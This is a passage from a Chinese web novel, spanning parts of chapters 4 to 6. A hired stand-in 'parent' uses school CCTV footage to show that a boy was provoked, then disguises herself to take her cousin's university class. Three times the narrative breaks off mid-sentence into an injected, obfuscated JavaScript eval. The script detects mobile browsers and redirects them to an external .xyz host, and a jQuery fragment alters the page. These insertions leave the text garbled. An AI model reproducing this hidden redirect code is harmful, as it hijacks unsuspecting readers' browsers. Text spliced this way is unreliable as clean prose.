人群最前方,颜玉琢双手交握垂在身前,脸上还是那副成竹在胸的表情;其他家长可没她这么冷静,你推我挤地围在监控前,十几双眼睛快要把屏幕盯穿了。 庄策把这一切尽收眼底,他略俯下身,那股浓郁的苦巧克力香气又在她鼻尖萦绕。他在颜玉琢耳畔好奇地问:“颜小姐,看来你很有把握?” 颜玉琢撇他一眼:“如果不是你刚才那么没礼貌把气氛弄僵,我还能更有把握一些。” 庄策一头雾水,他实在不明白他到底哪里没礼貌了,他刚才可是主动和赵威廉的“爷爷”打了招呼呢。 在家长们的催促下,保安队长终于找到了昨天下午四点的那段录像—— JS小学向来是体育强校,非常注重学生们的体能素质,每周二周五下午,足球队都会在操场上训练。 监控录像中,十几名穿着足球队队服的男生正在草坪上进行热身运动,互相练习传球、截球、扑球,其中一名男生在传球时传歪了,足球咕噜噜地踢出场外,停在了跑道上。 恰在此时,一名身材敦实的小胖子从操场旁经过,足球队的男生们向他挥手,示意他把球踢回去。 小胖子停下脚步,低头看了看球,又抬头看看不远处的男生们,就这么反复了几次,突然间,他像是下定了什么决心似得,用尽浑身力气猛踹一脚足球! 黑白色的足球宛如一颗炮弹,划过空气直冲向离他最近的男生——一脚爆头! 那个被砸的男生根本来不及躲避,被这迎面而来的足球砸得瞬间倒地! 一切发生得太快了,谁也没有反应过来,不仅如此,小胖子居然利用众人发愣的机会冲进人群之中。 监控视频里的他就像是一横冲直撞的小野猪,借着一身蛮力撞飞了好几个人,他就这样跑到人群最后一排,视线在人群中扫了一圈,很快锁定了一个皮肤黑黑的男孩,然后脑袋一埋,一头顶了过去! 他比那个黑皮男生矮了大半个脑袋,他这一顶,脑瓜正顶在对方胸口,直接把对方顶翻了! 下一秒,他大步一迈骑在黑皮男生身上,借着体重优势稳稳压住,然后扬起胖胖的拳头胡乱捶了下去!那个男生明明是体育尖子生,个子高、肌肉大,但他错失先机,就这样被小野猪骑在身上打得爬不起来。 “——威廉!那是我家威廉!!”一道撕心裂肺的喊声响起,只见赵德伟捂住胸口,喘得像风箱一样。他粗大的手指重重戳在监控屏幕上,怒目看向颜玉琢和庄策,大吼道,“你们现在还有什么可解释的?视频录的清清楚楚,就是你家的混小子突然发疯,冲过来打人!!” “没错!”“大家都在正常训练,他突然冲过来发疯。”“这孩子不会有什么精神病疾病吧?”“听说他父母从来不管他,家长会一次没来过……” 一字字一句句,家长们附和的声音从四面八方传来,迫不及待地给视频中的胖男孩定罪。 然而面对这样的围攻,颜玉琢依旧沉着若定,她目光微敛,盯着视频里不停挥拳的胖男孩,在思考数秒后,她转向一旁的校长:“校长,操场还有其他角度的监控摄像头吗?事发之前他们有没有交谈过?” “你别狡辩了!人证物证俱在,就是你们家庄子宸犯浑!”赵德伟见她完全无视了自己,火气越来越旺。 他大步走到颜玉琢面前,愤怒地伸出手指向她的鼻子,姿态蛮横至极:“臭丫头,你信不信我现在就报警,把你孩子送进少管所?!” 然而不等他的手指真正触碰到颜玉琢,身旁便伸出一只骨节分明的手掌,重重打开了他的手。 庄策迈出一步,借着高大的身材把颜玉琢护在身后,脸上不再有刚才的轻松戏谑。他眉头紧皱,眼底的冷意几乎凝结成冰:“赵先生,你说话归说话,突然对女人动手算什么本事?还有,你说要把谁送进少管所?” “毛都没长齐的小子,你tm——” 眼看两方家长剑拔弩张,校长不敢再沉默下去,她先给保安们使了一个眼色,又赶快走到人群中安抚情绪:“两位同学的家长请冷静一下。这次打架只是同学们间的小冲突,只要庄子宸同学的家长能代表他向赵威廉同学的家长道个歉,我想事情就能……” “道歉?事情还没水落石出,为什么要道歉?”颜玉琢从庄策身后探出头来,朗声道,“校长,我们要看更多的视频。” 庄策惊讶于她一而再再而三的据理力争,毕竟颜玉琢只是他外甥雇来的假家长,没有必要在这里冒着被打的风险替他说话,但她为了不让一个无辜的男孩蒙冤,偏偏这样做了。 短短一秒钟,庄策脑海中闪过无数种想法,他的嘴巴先他的大脑一步开口:“没错,我们相信子宸。” 赵德伟嘲讽地看着他们:“果然上梁不正下梁歪,证据都在眼前了,老老实实道个歉是要你们的命吗?居然还想翻供?” 可不管他再叫嚣什么,庄策和颜玉琢都没有再给他一个眼神。 迫于他们的坚持,校长只能让保安队长调取了操场其他角度的镜头。监控室里有整整一面墙的屏幕,链接着学校里大大小小的几十个摄像头,但是不管从哪个镜头来看,都是庄子宸主动扑上去打人的。 事情好似就这样走向了最糟糕的结局。 保安队长为难地看了颜玉琢一眼:“这位家长,这是所有的监控器了。” 颜玉琢一双美眸眨也不眨地盯着面前一整面墙的监控屏幕,忽然,她抬手指向右上角的一个屏幕:“那个镜头,往前倒十分钟……不,十五分钟。” 保安队长一愣:“什么?” “她说——右上角的那个镜头,”庄策提高音量,不耐烦地重复,“重、新、放、一、遍。” 保安队长被他的表情吓得一激灵,赶忙转过身对着电脑操作起来。 很快,那个屏幕里记录的画面被拖到最中央的大屏上,进度条也往回拖动了十五分钟。 这是一间美术教室的监控,位置在多功能教学楼的一层,采光很好,窗户敞开,阳光与微风一同落入教室中。窗前,一名胖胖的男孩正在埋头画画,十分认真。 突然间,一只旋转的足球“砰”的一声撞在了窗框上,虽然没有打碎玻璃,但让教室里的所有同学都吓了一跳,尤其是距离窗户最近的那个胖胖男生,吓得手一抖,颜料盘整个打翻在地。 他对着那只飞来的足球怒目而视,很快,一个皮肤黝黑的男孩从操场跑了过去,捡起球,隔着窗户冲他招摇地笑了笑。 看到这段监控视频,庄策有些惊讶地嘀咕出声:“小胖子什么时候学会画画了?” 颜玉琢没有理他。她抬手又指向监控屏,告诉保安队长:“左侧第二排第三列,麻烦放大,倒退十分钟。” 保安队长依言行事。 这个摄像头的位置在多功能活动楼一层入口。在美术课结束后,胖男孩和几名同学一边聊天一边往外走,恰在此时,又是一只足球飞了过来! 胖男孩下意识闪身躲避,却忘了注意脚下的台阶,结果意外之下一脚踏空,直接从楼梯滚了下来! 幸亏楼门口的台阶只有短短几阶,他没受什么伤,只是崴了脚,走路有些一瘸一拐。 这次,还是那个黑皮肤的男孩嘻嘻哈哈地跑过来,没说一句道歉,就把足球踢走了。 庄策的眉头紧紧皱了起来,监控室里原本嘈杂的声音也不知不觉变小了。 颜玉琢第三次开口:“咱们最开始看的那段视频,麻烦从五分钟前开始放吧。” 之前他们只看了胖男孩突然冲进足球队打人的画面,当视频倒退后,另一幅景象呈现在众人眼前: 胖男孩小心绕过操场,走向另一边的教学楼时,偏偏有一只足球凌空飞来,正中他的肩膀!他被砸得一踉跄,若不是他体重足够,这一球绝对要让他摔个跟头! 他捂住疼痛的肩膀回身怒目而视,可他并未等来道歉,只等来足球队们奚落的笑声。 三段视频放完,整个监控室里哑然无声。 谁能想到,所有人都以为是庄子宸莫名其妙“发疯”,实际在他“发疯”之前,原来是足球队一而再、再而三的挑衅!他的打人举动,不过是被逼急之后的反击罢了。 “校长,我想我们不必再回顾第四段视频了吧?”颜玉琢眸光扫过屋内的所有人,最终停在了校长身上。 校长尴尬地推了推鼻梁上的眼镜:“呃,这件事……庄同学的事情……” 见校长前后两幅面孔,庄策怒急反笑,只不过那笑意未达眼底。他转向在一旁说不出话来的赵德伟,声音冷得没有一丝温度。 “赵先生,我想咱们现在可以来好好‘讨论’一下,究竟谁的孩子才是霸凌者、谁的孩子才应该进少管所吧?” …… 午休时分,庄子宸没有和同学们去餐厅吃饭,而是徘徊在学校行政楼外。他仰头看着高高的行政楼,他知道最高层就是校长办公室,也不知道他雇来的那个漂亮阿姨,有没有帮他顺利平息校长的怒火…… “臭小子,鬼鬼祟祟在这里干什么呢?”忽然,一道熟悉的男声从背后响起,从天而降一双“魔掌”,重重压在了他的肩膀上。 庄子宸吓得一激灵,浑身小肥肉抖了抖,像是僵住的机器人一样,脑袋一寸、一寸、一寸地扭了回来。 在他面前出现的,是家中的暴君、法西斯、大恶魔——他的舅舅庄策! “舅舅?”庄子宸自以为自己表现得足够镇定,但他滴溜溜乱转的眼睛早已暴露了他的心虚,“你怎么在这儿?” “我怎么不能在这儿?我能掐会算,你小子有点什么风吹草动,舅舅都会第一时间知道。”庄策双手抱胸,居高临下地看着面前的小胖墩。 有句老话叫做“外甥像舅”,可庄策从来不觉得姐姐家的拖油瓶有哪里像自己。他既没有继承自己堪称完美的英俊外貌,也没有继承他高人一等的身高,除了头脑好一些以外,真不像他们家的孩子。 不过…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029699|162285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庄策回忆起刚刚他在监控室里看到的画面,想到庄子宸居然以一敌十、出人意料秒杀足球队的一群小混蛋、甚至深谙“擒贼先擒王”的道理把赵威廉坐在身下一统暴揍——嗯,有勇有谋有血性,像他! 想到这里,庄策忍不住使劲胡噜了一番庄子宸的脑袋。 “舅舅,我的发型——” “小屁孩一个,还讲究什么发型?” “你还知道我是小孩呀。你都是三十岁的老头子了,比我老那么多,你就知道欺负小孩,你这个法西斯大暴君,你放开我!” “首先,我还没到三十岁,我才二十八!其次,就算我到三十岁了,也不是老头子,而是英俊潇洒风度翩翩的你舅舅!” 正当舅甥俩吵闹拌嘴之际,身旁传来一阵带着笑意的轻咳。 “咳咳,不好意思,庄总、子宸,打扰你们俩人了。”颜玉琢款款从行政楼里走了出来。真是想不到,刚刚在其他家长面前言辞冷厉的庄策,在小朋友面前居然也有如此孩子气的一面。 看来,小野猪和公孔雀确实是同一家动物园出来的,都是一样的幼稚。 在看到颜玉琢后,庄子宸像是被点了穴一样愣在原地。他傻傻张大嘴巴看着面前雇来的假“舅妈”,又扭过头看看自己的亲舅舅,再看看“舅妈”,接着再看看舅舅……他脑袋里像是被塞进了一团棉线,理也理不清。 不,等等,他雇佣一个假“舅妈”就是为了不让舅舅知道他打架的事情,可现在舅舅不仅出现在学校,居然还和假“舅妈”见面了! 天啊,事情是怎么到这一步的,舅舅不会杀了他吧? “好啦,请把你的嘴巴闭上吧,别让牙齿着凉。”颜玉琢笑眯眯地托起庄子宸的下巴,帮他合拢,“尊敬的雇主@今天不想上学鸭,我已经完成了你下单的任务,帮你开完了家长会——虽然中途遇到一些意外的小插曲,”她微微仰头看了男孩身后的庄策一眼,又重新敛眸浅笑,“——但插曲没有影响最终结果。如果您对我的服务满意,麻烦给我一个五星好评。” “还五星好评呢。”庄策嗤笑一声,把小胖子的脑袋掰回自己这边,“他给不了了。因为从今天开始,我将没收他一切电子设备,还有零花钱也要减到之前的一半。” “什么——?!”庄子宸哀嚎出声,“舅舅,我是冤枉的,我,我不是主动打威廉的!是他……” “我知道你是为了反抗才动手的。”庄策说,“我们看了监控,这件事大家都清楚了,是赵威廉先欺负你。他的家长已经道歉了,赵威廉也会受到处分。” 庄子宸眨眨眼:“那你为什么要扣我零花钱?” “我扣你零花钱,是因为发生这么大的事,你居然不向家长求助,而是去外面租人冒充你的家长!我看你的零花钱是太多了,这是对你不诚实的惩罚!” “舅舅,你这个暴君!”不管庄子宸看起来有多像个小大人,一听到要被扣零花钱,他的嘴巴顿时撅的能挂一个油瓶。他下意识向颜玉琢求救,“舅妈,你……” 颜玉琢赶忙打断他:“咱们的雇佣关系已经结束了,你也不要叫我舅妈了。毕竟庄总也在这里,让别人听到了容易误会。” 庄子宸更委屈了。总听长辈说,越漂亮的女人越会骗人,原来在漂亮的小舅妈心里,他们只是冰冷的金钱关系呀。 颜玉琢看看腕间的手表:“我接下来还有工作,庄总,那我就先走一步了。” 见她转身就要离开,庄策下意识开口:“你去哪儿?顺路的话我送你。” 颜玉琢嫣然一笑:“那就不必了。我要去的地方您恐怕不顺路。” 庄策挑眉:“你还没说去哪儿,怎么知道我不顺路。” “不管我要去哪个方向,我想咱们都不是同路人。”颜玉琢的话点到为止。 这次的小学家长会,只是她的从业履历上微不足道的一笔,她不知道庄策的身份,庄策也不知道她的姓名,他们就像两条意外相遇的线,委托结束,他们的交集也结束了。 说完,颜玉琢不等庄策所做的任何反应,她优雅地向小朋友挥挥手,就这样翩然离去。 女人的步速很快,每一步都迈得很坚定,仿佛任何事情都无法阻挡她向前的步伐。随着她的动作,如瀑般的长发在肩后甩动,宛如战士的披风。 望着她越走越远的背影,庄策冥冥之中感觉好像有什么东西在他胸口盘桓萦绕,他下意识低头寻找,发现原来是一根长发不知何时绕在了他的西装纽扣上。 忽然,他的袖口动了动。 他扭头看去,只见他的好外甥正牵着他的衣袖,满脸看好戏的神情。 “舅舅,”庄子宸一脸小猪得意的模样,“你想不想知道刚才那个漂亮阿姨的联系方式呦,我有哦。” “……” 庄子宸桀桀桀桀桀地笑了:“只要你答应不没收我的手机,不扣我的零花钱,哦对了,还有不把这件事告诉妈妈和姥姥,我就可以告诉你哦!” 庄策:“……” 他伸手,把外甥拽进怀里狠狠揉搓他脑袋:“小小年纪,居然敢威胁你舅舅了!你听好,从下个月开始,你的零花钱只有三分之一了!” 5. 第5章 眼镜 第五章 颜玉琢哪里知道,庄策光是望着她的背影就脑补了一番萧瑟大戏,她走得快是真的有急事——啊啊啊啊,她下一单委托快要赶不上了! 今天也不知道她命犯了哪路神仙,一天之内居然给她排了三单工作,上午在小学给雇主当家长,下午她就要赶去大学当学生。 而且,下午这单的雇主并不是陌生人。 她在停车场里找到自己的车,从外观上来看,这只是一辆随处可见的小越野车,四四方方貌不惊人,其实内有乾坤。颜玉琢熟门熟路地钻进后排,按下按钮,随着一阵嗡鸣声,电动窗帘自动升起,小越野车立刻化身她的移动换衣间。 她手脚麻利地脱掉身上昂贵的奢侈品成衣,摘掉珍珠耳环与项链,这些都是她从公司借来的,毕竟她今天来贵族小学开家长会,若她穿得随便,那一眼就会被看穿。这条连衣裙美虽美矣,但面料很难伺候,她今天穿着它时小心翼翼,生怕勾丝。 脱掉长裙,她由衷地深呼一口气,感觉身上的束缚也一并扔走了。 她把那条裙子小心挂好,又从后备箱里取出下午要穿的衣服。就在她和衣服搏斗之际,她的手机不合时宜地响了。 她一心二用接通电话,打开免提扔到旁边。 “姐,我的好姐姐,你到哪里了?今天下午一点半的课,你可千万别迟到!”电话刚一接通,就传来一阵鬼哭狼嚎的声音。 颜玉琢被那声音吵得脑袋嗡嗡的:“姑奶奶,你要真急你就自己赶回来上课,别找我帮忙。” “哦……”那边委委屈屈地安静下来。 今天下午这单,说来真是荒唐——雇主不是别人,而是颜玉琢的堂妹颜沛沛。 沛沛是她小叔家的孩子,今年二十二,A大环艺系大四在读。她们专业是五年制,明年才毕业,课业多得吓人,颜玉琢时常在朋友圈里刷到沛沛哀嚎作业写不完。 虽然课业多,但鸟儿想飞的心是关不住的。这个周末,沛沛喜欢的偶像男团在粤省开演唱会,她省吃俭用斥巨资买了一张演唱会内场VIP票,决定来一场说走就走的“特种兵式”追星。 只不过这样一来,她周五的课实在赶不上了,偏偏周五下午的课是非常重要的专业选修课,每节课老师都要点名。她脑筋一转,决定委托颜玉琢替她上课。 她生怕颜玉琢不同意,先斩后奏在app上下了单,当颜玉琢收到自己妹妹发来的委托单后,简直怀疑自己的眼睛。 【委托人:@武德充沛猛踹瘸子好腿 @委托内容:姐,我是沛沛!大慈大悲好姐姐,呜呜呜呜求帮我代上一节专业课!!!】 颜玉琢对妹妹追星没有任何意见,逃课一事她也能理解,毕竟这世界上有哪个大学生没逃过课?她读大学时,和闺蜜发疯去夜爬华山,登顶后又立刻坐硬座绿皮火车回来,后来累得整整三天没离开寝室一步,翘了所有课…… 但颜玉琢不理解的是,为什么妹妹偏要自己代课? 颜玉琢一边艰难地在车内有限的空间里换衣服,一边问她:“沛沛,你难道就没有什么关系好的同学、舍友能帮你代课?” “嘿嘿,有倒是有……但是……” “但是?” “但是,她们都和我一起在火车上呢!”手机那头响起一群女生的笑声,沛沛兴高采烈地说,“我们整个寝室都逃课啦,她们也要找其他女同学帮忙代课呢!” 颜玉琢:“……” 行叭,好舍友果然是有福同享。 颜玉琢毕业已经五年了,这次她假借妹妹的身份回到校园,穿衣打扮自然要向大学生靠拢。 为此,她特地准备了一件平平无奇的帽衫,配上一条平平无奇的牛仔裤,一头长发扎成平平无奇的麻花辫……哦对了,脸上的化妆品也要擦干净,大学生每天被课业摧残,哪有心思化妆,课堂上放眼望去人人都被吸食了精气、满脸写着生无可恋只求下课。 短短十五分钟,那个刚刚在贵族小学惊艳众人的优雅淑女,摇身一变就成为了一个低调至极的女大学生。 变装完毕,颜玉琢拿起手机,把语音通话转为视频通话。 “沛沛,你看我这样打扮可以吗?在学校里不算出格吧?” 视频对面的女孩和颜玉琢有几分相似,最大的区别在于她的脸型更圆润一些,还带着尚未褪去的婴儿肥。她身穿带有偶像应援色的痛衣,脸上画着夸张的应援妆,浑身上下都充斥着一种即将见到爱豆的勃勃生机。 视频电话刚接通,沛沛就用超级夸张地语气夹着嗓子恭维她:“姐姐,你皮肤状态也太好了吧,素颜也这么能打!别说让你装大学生了,就算你去高中,别人也以为你还没满十八岁呢!” “停停停,这些彩虹屁留给你家‘哥哥’,你再吹下去,我都能返老还童去幼儿园了。”颜玉琢被她吵得头疼,她向来对这个跳脱的妹妹没有办法,“我赶时间,既然你觉得我这身衣服没问题,那我就挂电话了。” “等等!”沛沛忙喊,“姐,你这身衣服是没什么问题,就是……就是……” “就是什么?” 沛沛整张脸都皱了起来,眼神游弋:“就是……姐,你的外貌看起来像大学生,衣服也像大学生,但是教授点名时只要一看到你的眼睛,就会知道你绝对不是。” 颜玉琢有一双很动人的眼睛,即使没有化妆品的加持,那双眼睛依旧带着摄人心魄的魅力。她扮演过太多人,也遇到过太多人,那些经历都沉淀在她的双眸中,只一眼,便胜过千言万语。 听到妹妹的话,颜玉琢笑了一声:“听懂了,你的意思是,我的眼睛不像清澈又愚蠢的大学生是吧?” 颜沛沛:“……” 呃,好像这么说也没错。 “那你说怎么办?”颜玉琢无奈叹气,衣服她可以模仿大学生,但眼神要如何模仿? “姐,不如你戴一副眼镜吧!”颜沛沛突发奇想,“戴一副又丑又土又像书呆子的眼镜,教授肯定不会注意到你了!” …… “眼镜眼镜眼镜……小姑奶奶可真会给我找事。”颜玉琢把车子停入商场的地下停车场,下车寻找电梯。 她怀疑颜沛沛是言情小说看多了,才会相信“主人公戴上眼镜时是路人甲,摘下眼镜后惊艳四座”的传奇故事。怎么,难道她是女超人,摘下眼镜后就要拯救世界去了吗? 不过毕竟是自己的亲堂妹,颜玉琢实在架不住颜沛沛的软磨硬泡,同意去眼镜店看看。 颜沛沛的大学地理位置极佳,距离学校不到两公里就有一个大型购物中心,这里有一家全国知名的眼镜连锁品牌店。颜玉琢时间紧任务重,没有浪费精力闲逛,而是直奔主题。 店铺临街,拥有一整面落地玻璃墙,整个店铺采光极佳,商品陈列得井井有条,店铺中央最显眼的位置是某几个奢侈品牌的眼镜专柜,柜姐站在岛台中心,穿着统一的制服,笑容妥帖,看那架势不像是卖眼镜,倒像是在卖黄金。 不过,这些奢牌眼镜的标价,也确实与同等重量的黄金无异。 颜玉琢刚推开眼镜店的大门,立刻有导购员过来询问:“小姐,您想看看什么品牌的眼镜?想找近视镜还是墨镜?” 颜玉琢开门见山:“你们店最便宜的眼镜框在哪里?我对品牌没要求,只要求便宜。” “那镜片……” “我不近视,只要平光镜。”颜玉琢寥寥几句话,就打消了导购员的热情。 导购员脸上的笑容差点挂不住,他带领她走向眼镜店最角落的一组柜子,然后拉开抽屉,指着最下层的一排土气至极的眼镜框说:“这些都是我们打特价的款,小姐您自便吧。” 说完,导购员头也没回的就走了。 颜玉琢并不在意对方的怠慢,她巴不得清净一些。抽屉里的眼镜框为数不少,大多造型夸张,所以才无人问津,她要好好淘一淘,才能淘到适合她“超人变身”的那一款。 她试了一款又一款,每戴上一款她都要去旁边的镜子前仔细看看。就在此时,她身后一扇不起眼的隐形门被推开了,原来那里是一件VIP室,房间内走出两道身影。 走在前面的女人穿着店里统一的导购制服,她看向身后人,语气歉疚:“周先生,实在不好意思,我刚才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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这段插曲不过短短一瞬,男人跟随柜姐去专柜挑选镜框,颜玉琢继续回到镜前,对着那些或土气、或夸张的特价镜框发愁。只不过每当颜玉琢抬头时,都会不由自主地借着镜子的反光看向那位“周先生”。 工作久了,颜玉琢就会有一点职业病——每当她遇到一个有趣的人时,总会下意识地观察对方的特点、分析对方的身份,以便能够更好的模仿。 就拿今天上午第一次见面的庄策来说,虽然庄策没有介绍过自己的职业,但颜玉琢一眼就看出,庄策绝对是个“总裁”级别的人物。他很可能自己创业、也可能继承了家族企业,那种举手投足间散发出的倨傲自信,就足以证明他的身份有多么高人一等。 于是颜玉琢试探性地叫他“庄总”,他欣然接受了这个称呼,看来她猜的一点没错。 再说眼前这位周先生,他大约三十左右的年纪,肩阔身挺,剑眉星目,鼻梁两侧还留有眼镜托的压痕;他的气质温和、内敛,犹如远山乔木,绝对是婆婆妈妈们最喜欢的佳婿人选。 至于工作……能负担得起金字塔尖品牌的眼镜框,证明他收入不菲,是医生吗?亦或是律师?这附近确实有几家律所,三甲医院也离这里不远。 颜玉琢一心二用,一边试眼镜,一边胡思乱想。 但是试着试着,她就没心思试了,注意力全被镜中的周先生吸引——那位导购员好不容易捞到这么一条“大鱼”,恨不得把柜台里所有昂贵的镜框都拿出来,完全不在乎究竟适不适合那位先生的气质,一味地推销最贵的几款。 眼看周先生要刷卡买下一款丑得惨绝人寰的小圆眼镜,颜玉琢实在忍不住开口—— “周先生,如果您不想一秒变成末代皇帝的话,我建议您还是换一副吧。” 周先生:“……?”他动作一顿,转向颜玉琢,没有责怪她的多管闲事,而是问,“你觉得哪副适合我?” 颜玉琢信步走到柜台前,坦坦荡荡伸出手,拿起柜台旁一副价格适中的瑟蒙特框型眼镜,递到男人面前:“不如试试这一副?眉框眼镜会显得人更加有权威感,玳瑁材质又不会太沉闷老气,我想应该会适合您。” 6. 第6章 替课教授 第六章 不是颜玉琢自吹自擂,她的时尚眼光相当不错。 她的工作需要扮演不同类型的角色,每个角色的穿着打扮和身份紧紧挂钩,她可以穿着套裙走进贵族小学,却不能戴着珍珠项链去大学听课。 眼镜作为最常见的“装饰品”,其他人一眼就会看到,选择一副好眼镜至关重要。 她挑的这副瑟蒙特镜框造型很别致,是近几年才在国内流行起来的“眉框”设计,镜片上方用玳瑁加强镜框的存在感,与镜腿连成一线,造型简约又令人印象深刻。 周先生接过镜框,低头戴上。再抬头时,男人墨色深瞳直直望向颜玉琢的双眸,这幅眼镜相当衬他,威严有度,若太过年轻则驾驭不住,太过年长又会疲态尽显。 直到这时颜玉琢才注意到,原来男人鼻子有着微微驼峰,远看并不明显,只有站在如此近的距离,才能看清他挺直鼻梁上那道小小转折。 据说,有驼峰鼻的人都胸有城府、固执己见。 不过,“胸有城府”是另一种角度的沉稳持重,而“固执己见”在欣赏者的眼里也可以解释为信念坚定。 颜玉琢笑盈盈的:“周先生,这幅真的很适合你哦。” 周先生闻言转过视线,看向墙上的镜子。他端详了镜中的自己数秒,然后才点点头:“我第一次戴这种框型,确实不错。” 说完,他便摘下眼镜,交给柜姐:“那就买这副吧。” 这副眼镜框只是中等价位,与之前柜姐推销的那几款奢牌差价巨大。 柜姐哪里舍得自己的业绩飞了,绞尽脑汁想要改变他的念头:“其实P牌也有类似的眉框设计,您要不要看看?如果您喜欢玳瑁材质,C家刚到了几个新款……” “不用了。”男人重复一遍,“我说过,我就要这副。” 柜姐见实在不能撼动他的决定,只能遗憾拿着那副镜框去找配镜师了。 事情告一段落,颜玉琢也选好了自己想要的眼镜框,准备去前台结账。 她选中的是一款非常老气廉价的圆框塑料眼镜,戴上后虽然不像超人变身那样夸张,但也可以稍稍遮掩她的外貌。 周先生有些不解:“为什么买这副?我以为你会买那副红色的。” “你说那副猫眼的?”颜玉琢随口应答,“那副确实蛮适合我,但太个性太显眼了。我接下来要去的地方,越低调越好,我手里这副……正和我心意。” 周先生失笑:“丑得正和你心意?” 颜玉琢一怔。 见她没接话,周先生有些尴尬:“抱歉,我的笑话是不是太不好笑了?” “确实不好笑,”颜玉琢实话实说,“不如我来给你讲个笑话吧——原来你分得清美丑啊!” 真是奇怪,既然分得清,刚才他为什么要买那副一秒变成溥仪的丑眼镜呢。 …… 颜玉琢紧赶慢赶,终于赶在一点前到达A大。毕业多年后重回校园,她的心情复杂到难以用一两句话来概括。 她本科就读于国内知名的传媒大学,她在那里度过了相当充实的四年,现在回想起来也是收获满满。 以她的能力和外形,本来可以轻松签入电视台,不论她是走到台前做记者、主播,还是留在幕后做编导、策划,她一定都可以做得有声有色。 但是人生嘛,总会出些意料之外的小插曲。她因为某些机缘巧合踏入了这个行业,结果一做就做了好几年,现在也是业内的“资深前辈”了。 她接过这么多次委托,很少接到大学生的,因为大学生真的太穷了!——他们的钱要留着追星、旅游、游戏充值、谈恋爱、买快递,颜玉琢也是从大学时代过来的,自然知道大学生每到月底连饭卡都刷不出来,更没有钱雇人工作了。 颜玉琢站在A大的林荫道上,身边学生熙熙攘攘,她不需要竖起耳朵听,那些话题就自动灌入她的耳朵里:食堂的饭真难吃、哪位老师又突击点名了、毕业后要面临异地恋、选修课抢不到、图书馆占座…… 她情不自禁地深吸一口气,宛如刚从山洞里钻出来的千年老妖,想狠狠吸一吸这些年轻人的活力精气。 ——啊,全是青春的味道! 颜玉琢背好她的双肩背包,向着教学楼进发。她第一次来A大,对校园环境全然陌生,问了好几个人才找到教室,耽误了不少时间。 她推门走进,可是当她看清屋内情况时,瞬间僵在原地—— 这是一间不算大的阶梯教室,仅能容纳一百名学生左右,现在座位几乎已经坐满了,只剩下最前排寥寥几个空位。 最主要的是,这教室里居然百分之九十都是男生! 颜玉琢拦住一位正要出来打水的男生,问:“请问这里是402吗,请问下节是什么课?” 那名男生是典型的工科宅男,措手不及被一个陌生美女拦住,毫无心理准备,结结巴巴回答:“是、是402。一会儿要上马教授的《生态城市空间设计》。” “……”没错了,就是这里。 颜玉琢内心的脏话以打码形式飞速刷过,她向那位男同学道谢后,冷脸走进教室。 那男生也顾不得打水了,厚着脸皮跟在她身后问个不停:“同学,你是哪个专业的啊?之前怎么没有见过你?后面的分组实践你找到小组了吗,我们team刚好还缺一个人,你要不要加入?” 颜玉琢敷衍了几句,眼神扫过教室内的空座,不情不愿地找了第二排的位置坐下。当她坐下后,原本坐在她前后的男生都为之一静,没人主动找她搭讪,但他们各自聊天的声音都莫名变大了,话题也从幼稚的游戏副本变成炫耀绩点和保研。 ……仿佛一群小鸡仔在秀肌肉。 在这种男性含量超过百分之九十的空间,颜玉琢的太阳穴嗡嗡直跳。 她掏出手机,立刻在微信上向妹妹兴师问罪。 @玉不琢:沛沛,你怎么没告诉我班里有这么多男生? @玉不琢:而且你不是学环艺的吗,我记得你们专业男女比例很平均啊。 沛沛过了许久才回复: @武德充沛猛踹瘸子好腿:啊,姐你到啦!【卖萌】【卖萌】 @武德充沛猛踹瘸子好腿:我们环艺全称是环境艺术设计,是艺术学和建筑学的交叉学科。这节选修课是院公选,我们要和建筑系他们一起上,所以男生才多哒~【可怜】【可怜】 @玉不琢:你有没有想过,班里一共就你们几名女生。老师除非是瞎子,点名的时候不是一眼就认出来了吗? @武德充沛猛踹瘸子好腿:不会的不会的,马教授都快退休了,管得很松的,只要点名的时候有人喊到,他才不管那么多呢。【比心】【比心】 沛沛每次聊天都会狂发表情包轰炸,颜玉琢不过一会儿没回复,微信上就被各种可怜兮兮的小狗表情包刷屏,望着那些表情包,颜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029701|162285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玉琢几乎可以看到妹妹眼巴巴哀求自己的模样。 颜玉琢:“……” 算了,谁让她是自己的妹妹呢。 @玉不琢:只此一次,下不为例。 @玉不琢:在这里待久了,我过敏都要犯了。 @武德充沛猛踹瘸子好腿:啊?姐你怎么过敏了?【疑问】【疑问】 @玉不琢:我对男人过敏。 这下,轮到沛沛发“……”了。 @玉不琢:对了,刚才有个男同学提到什么实践课,什么分组的,跟这节课没关系吧? @武德充沛猛踹瘸子好腿:哦哦哦,这门课前六节是理论课,后面是分组实践,会在老师的带领下分成不同小组进行城市调研。 @武德充沛猛踹瘸子好腿:不过和这节课没关系啦,姐你今天的任务就是帮我点到~~低调低调,不要引起马教授注意。 @玉不琢:【分享自拍】.jpg @玉不琢:怎么样,够不够低调? 